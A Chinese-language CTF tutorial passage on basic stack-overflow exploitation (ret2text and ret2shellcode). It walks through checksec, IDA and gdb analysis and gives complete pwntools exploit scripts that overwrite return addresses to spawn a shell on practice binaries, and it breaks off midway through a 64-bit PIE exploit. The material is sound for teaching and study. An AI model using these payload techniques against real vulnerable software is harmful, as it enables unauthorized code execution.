PWN栈溢出基础——ROP1.0
这篇文章介绍ret2text,ret2shellcode,ret2syscall(基础篇)
在中间会尽量准确地阐述漏洞利用和exp的原理,并且尽量细致地将每一步操作写出来。
参考ctf-wiki以及其他资源,参考链接见最后,文中展示的题目下载链接见评论区
1.ret2text
ret2text即控制程序执行程序本身已有的代码(.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是gadgets),这就是我们所要说的ROP。
这时,需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
简单点说,ret2text的利用思路就是首先找到溢出函数,随后确定局部变量距离需要淹没的返回地址的偏移(通常情况下为ebp-addr(buf)+4/8),最后将返回地址修改为/bin/sh的地址即可。
1.1 ret2text
checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
开启了NX保护,这个保护在windows下边为DEP,其将数据段和代码段分开了,因此不能将返回地址导向shellcode中。
IDA检查

主函数中第8行gets()存在缓冲区溢出,
变量s距离栈顶esp为0x1C,后续我们会调试查看该偏移地址。
参看字符串列表,可见有/bin/sh,有system函数,嘿嘿~
在secure()函数中有着调用/bin/sh,地址为0x0804863A,接下来我们要做的就是使程序流导向这里就Ok了。
gdb调试
在call gets() 的位置下断点
pwndbg> b *0x080486AE
pwndbg> r
esp指向的地址为0xffffcfd0,则s的位置为addr=0xffffcfd0+0x1C,ebp的地址为0xffffd058
相对ebp的偏移=d058-cfec=0x6c,还要淹没ebp,距离返回地址的偏移为0x6c+4
exp
##ret2text_exp.py
from pwn import *
p=process('./ret2text')
binsh=0x08048763
system=0x0804831A
target=0x804863a
payload='A'*0x6c + 'A'*4 + p32(target)
#gdb.attach(p,'b 0x080486C4')
p.sendafter('anything?',payload)
p.interactive()
事后调试
在exp中去掉对于gdb.attach那一行的注释,你就能跟进去了,下断点的位置为leave指令处,即retn之前的一条指令。
(写给小白的:python exp.py,在弹出的gdb窗口输入c(让程序跑起来),回到之前的终端回车)
来到了断点处
可见,ret指令指向了0x804863a,去调用/bin/sh了。
1.2 level2
这道题目与上一道类似,checksec之后都是开启了NX保护,不同点在于溢出点确定起来更简单,而正确调用/bin/sh要稍微复杂一些哈。
IDA
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
system("echo Input:");
return read(0, &buf, 0x100u);
}
漏洞函数长这个样子,里边的read造成了一个缓冲区溢出,同时确定了buf距离ebp偏移为0x88
查看string,发现有/bin/sh,也有system函数
可以看到/bin/sh的地址为0x0804A024。
因为没有直接的调用/bin/sh,但是可以利用system函数,首先覆盖返回地址为system_plt,并根据32位的参数传递规则设置参数/bin/sh。
exp
##level2_exp.py
from pwn import *
file_path='./level2'
elf = ELF(file_path)
system_plt = elf.plt['system']
main_addr = 0x08048480 ##用不到
binsh = 0x0804A024
payload = 'a'*0x88+'b'*4+p32(system_plt)+'a'*4+p32(binsh)
p=process('./level2')
#gdb.attach(p,'b *0x0804847E')
p.sendafter('Input',payload)
p.interactive()
首先用0x88+4个字符到达返回地址,将此处的地址修改为system的地址,然后将binsh的地址作为参数传入。
2.ret2shellcode
原理
ret2shellcode,即控制程序执行shellcode代码。shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell。一般来说,shellcode需要我们自己填充。这其实使另外一种经典的利用方法。(如果熟悉《0day》这本书的师傅们,对于这种利用方式应该比较熟悉吧)
应用环境要求不能有NX保护,但是可以在程序没有自带/bin/sh和system_plt的情况下完成利用。
2.1ret2shellcode
checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
}
主函数中gets()存在缓冲区溢出,并且strncpy将s中的内容拷贝到了buf2中。buf2位于bss段。
.bss:0804A080 buf2 db 64h dup(?) ; DATA XREF: main+7B↑o
.bss:0804A080 _bss ends
可以通过gdb查看bss段是否可以执行。
b main
r
vmmap
可见 0x804a000,权限为rwxp,读、写、执行均可。
偏移地址的计算操作见1.1,s和esp的偏移为0x1c,计算得出s的addr,ebp-s_addr就是其相较于ebp的偏移地址。
另外需要将返回地址修改为buf的地址,即addr=0x0804A080
exp
from pwn import *
p=process('./ret2shellcode')
addr=0x0804A080
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(112,'A')+p32(addr)
p.sendline(payload)
p.interactive()
2.2 sniperoj-pwn100-shellcode-x86-64
checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
是一个64位程序,并且开启了PIE(windows下为ASLR),地址随机化,通过该内存保护机制,使得程序每次装载进入内存之后的地址都不一样,使得我们无法使用固定地址来导向shellcode。(PS:有点难度了,但事情也变得更好玩了,>_<)
IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf; // [rsp+0h] [rbp-10h]
__int64 v5; // [rsp+8h] [rbp-8h]
buf = 0LL;
v5 = 0LL;
setvbuf(_bss_start, 0LL, 1, 0LL);
puts("Welcome to Sniperoj!");
printf("Do your kown what is it : [%p] ?\n", &buf, 0LL, 0LL);
puts("Now give me your answer : ");
read(0, &buf, 0x40uLL);
return 0;
}
read函数造成了一个缓冲区溢出。同时printf给出了buf的地址。稍微有点麻烦的是 read(0, &buf, 0x40uLL);有长度限制,导致我们需要使用一些短payload。
shellcode
推荐一个师傅整理的各种各样的shellcode
https://blog.csdn.net/A951860555/article/details/114106118
exp
这个题有几个技巧:1.怎么接受程序的输出。2.计算偏移地址。3.导向shellcode的时候如何精准定位到有用的位置 4.设置合理的shellcode大小
##shellcode_exp.py
##我先给出exp再具体说明思路
from pwn import *
p=process('./shellcode')
p.recvuntil('[')
addr=p.recvuntil(']',